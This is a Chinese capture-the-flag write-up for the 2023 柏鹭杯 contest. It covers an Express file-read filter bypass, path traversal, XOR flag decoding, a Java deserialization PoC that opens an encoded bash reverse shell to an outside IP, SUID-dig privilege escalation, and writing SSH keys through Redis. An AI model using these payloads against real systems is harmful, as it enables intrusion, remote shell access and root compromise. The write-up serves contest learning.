柏鹭杯wp
express fs
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| const express = require("express"); const fs = require("fs");
const app = express();
const PORT = process.env.PORT || 80;
app.use('/static', express.static('static'))
app.use((req, res, next) => { if ( [req.body, req.headers, req.query].some( (item) => item && JSON.stringify(item).includes("flag") ) ) { return res.send("臭黑客!"); } next(); });
app.get("/", (req, res) => { try { res.setHeader("Content-Type", "text/html"); res.send(fs.readFileSync(req.query.file || "index.html").toString()); } catch (err) { console.log(err); res.status(500).send("Internal server error"); } });
app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));
|
对于请求体,请求头,还有输入的参数进行的过滤,不能含有flag。
- 原题是linux环境,我本地是windows环境复现的,所以后面绕过会有一点区别

在file
参数这里尝试读取文件 /etc/passwd, /etc/self/cmdline, 原题应该是通过 /etc/self/environ 找到flag位置的,在/server/flag.txt (这里没有环境,就不复现了)
1 2 3
| const fs = require('fs'); let path = new URL('file:///E:\\fl%61g.txt'); console.log(fs.readFileSync(path).toString());
|
debug调试

getoptions
获取参数 r,isUserFd 为true,直接返回path,这里是进入了fs.openSync

getValidatePath
通过名字看,应该是判断path是否有效,
跳过看看返回什么结果,返回了path值,进入getValidatePath
,看是如何处理的



- 当
fileURLOrPath.href
,fileURLOrPath.origin
为true是才会进入下面的fileURLToPath
构造点一
href=1,origin=1

- 进入
fileURLToPath
,path.protocol !== ‘file:’结果必须为flase
构造点二
protocol == file

- 由于是windows环境,所以进入getPathFromURLWin32函数,这里贴一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| function getPathFromURLWin32(url) { const hostname = url.hostname; let pathname = url.pathname; for (let n = 0; n < pathname.length; n++) { if (pathname[n] === '%') { const third = pathname.codePointAt(n + 2) | 0x20; if ((pathname[n + 1] === '2' && third === 102) || (pathname[n + 1] === '5' && third === 99)) { throw new ERR_INVALID_FILE_URL_PATH( 'must not include encoded \\ or / characters' ); } } } pathname = StringPrototypeReplaceAll(pathname, '/', '\\'); pathname = decodeURIComponent(pathname); if (hostname !== '') { return `\\\\${domainToUnicode(hostname)}${pathname}`; } const letter = pathname.codePointAt(1) | 0x20; const sep = pathname[2]; if (letter < CHAR_LOWERCASE_A || letter > CHAR_LOWERCASE_Z || (sep !== ':')) { throw new ERR_INVALID_FILE_URL_PATH('must be absolute'); } return pathname.slice(1); }
|
for
循环部分是:在pathname中出现%,则判断后面是否是 / 或者 \ ,如果是则抛出异常
1 2 3
| if (hostname !== '') { return `\\\\${domainToUnicode(hostname)}${pathname}`; }
|
- 如果不设置hostname,则最后返回的值为 ‘\undefined E:\flag.txt’

最后,绕过下面的代码, letter是将pathname第二个字符转化为ascii码值,sep则获取pathname第三个字符,
这里要绕过的话,加个空格就好了pathname= E:\\flag.txt
1 2 3 4 5 6 7 8
| const letter = pathname.codePointAt(1) | 0x20; const sep = pathname[2]; if (letter < CHAR_LOWERCASE_A || letter > CHAR_LOWERCASE_Z || (sep !== ':')) { throw new ERR_INVALID_FILE_URL_PATH('must be absolute'); } return pathname.slice(1); }
|
payload:
1
| localhost/?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=%20E://fl%2561g.txt
|
参考链接 corCtf2022一道有意思的node题
综合题 5、6、7
综合题5
和上一题一样filename
参数读取文件,读取/proc/self/cmdline 发现/app/demo.jar读取源码
1
| 192.168.81.129:12345/readfile?filename=../../../etc/passwd
|
反编译后,这里的o0o
加密函数,将flag1
和O0O
异或得到enc_flag1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @RestController public class Upload { @Value("${server.servlet.context-path}") private String contextPath; private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="; @Value("${spring.redis.password}") private String redisPassword; public String O0O = "6925cc02789c1d2552b71acc4a2d48fd"; private static String loadedRedisPassword; public String o0o(String Ooo) { StringBuilder oOo = new StringBuilder(); for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) { char Oo0 = Ooo.charAt(o0O); char oOO = this.O0O.charAt(o0O % this.O0O.length()); char OOo = (char)(Oo0 ^ oOO); oOo.append(OOo); } return Base64.getEncoder().encodeToString(oOo.toString().getBytes()); }
|
10101^11100=01001
结果是01001
01001^10101=11100
01001^11100=01001
1 2 3 4 5 6 7 8 9
| import base64 from pwn import * key = b'6925cc02789c1d2552b71acc4a2d48fd' enc = 'UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==' enc = base64.b64decode(enc) print(enc)
flag = xor(key,enc) print(flag)
|
综合题6
- 继续看源码,可以发现
/internalApi/v3.2/updateConfig
路径,存在反序列化
1 2 3 4 5 6 7 8 9 10 11
| @PostMapping({"/internalApi/v3.2/updateConfig"}) public String syncData(@RequestBody String payload) { try { byte[] data = Base64.getDecoder().decode(payload); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); Object obj = ois.readObject(); return "Data synced successfully"; } catch (IOException|ClassNotFoundException e) { return "Failed to sync data: " + e.getMessage(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.example.demo; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; class Ping implements Serializable { private static final long serialVersionUID = 1L; private String command; public void setCommand(String command) { this.command = command; } private String arg1; private String arg2; public void setArg1(String arg1) { this.arg1 = arg1; } public void setArg2(String arg2) { this.arg2 = arg2; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); String[] cmdArray = { this.command, this.arg1, this.arg2 }; Runtime.getRuntime().exec(cmdArray); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.example.demo;
import java.io.*; import java.io.ObjectOutputStream; import java.util.Base64;
public class Poc { public static void main(String[] args) throws IOException { Ping ping = new Ping(); ping.setCommand("bash"); ping.setArg1("-c"); ping.setArg2("{echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAxLjQzLjExMi43NC84ODg4IDA+JjEK}|{base64,-d}|{bash,-i}"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(ping); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
} }
|
反弹shell成功


flag2再/root/flag2,需要提权
1 2
| find / -user root -perm -4000 -print 2>/dev/null dig -f /root/flag2
|

综合题7
复现环境无法上传文件,所以后面写一下步骤
1
| /readfile?filename=../../../../../../../usr/local/share/application.propertie
|
1 2 3 4 5 6 7
| server.port=18080 server.servlet.context-path=/ management.endpoints.web.exposure.include=heapdump spring.redis.host=172.25.0.10 spring.redis.port=62341 spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a spring.servlet.multipart.max-file-size=10MB
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| ssh-keygen -t rsa cat key.txt | proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key
proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key config set dir /root/.ssh
config get dir config set dbfilename authorized_keys
save
proxychains ssh -i ~/.ssh/id_rsa root@172.25.0.10
|
参考链接 2023柏鹭杯 综合题5、6、7